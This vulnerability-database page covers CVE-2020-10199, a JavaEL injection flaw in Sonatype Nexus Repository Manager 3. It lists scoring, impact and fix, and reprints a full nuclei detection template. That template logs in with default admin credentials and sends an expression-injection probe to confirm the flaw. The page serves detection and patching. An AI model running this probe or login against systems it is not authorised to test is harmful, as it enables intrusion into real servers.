HexBrain

Browse / CVEs / CVE-2020-10199

CVE-2020-10199· sonatype / nexus· CWE-917

Sonatype Nexus Repository Manager 3 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity
8.8CVSS score
99.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.

How to confirm it

Send: POST /service/rapture/session ; POST /service/rest/beta/repositories/bower/group
Positive when: contains "Member repository does not exist: A9999" AND status 400

Run it with nuclei: nuclei -id CVE-2020-10199 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-10199

info:
  name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
  reference:
    - https://twitter.com/iamnoooob/status/1246182773427240967
    - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10199
    - http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
    - https://cwe.mitre.org/data/definitions/917.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10199
    cwe-id: CWE-917
    epss-score: 0.99064
    epss-percentile: 0.99932
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sonatype
    product: nexus
    fofa-query: title="nexus repository manager"
  tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev,vkev,vuln
variables:
  username: admin
  password: admin123

http:
  - raw:
      - |
        POST /service/rapture/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{base64(username)}}&password={{base64(password)}}
      - |
        POST /service/rest/beta/repositories/bower/group HTTP/1.1
        Host: {{Hostname}}
        NX-ANTI-CSRF-TOKEN: 1
        Cookie: NX-ANTI-CSRF-TOKEN=1
        Content-Type: application/json

        {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Member repository does not exist: A9999"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from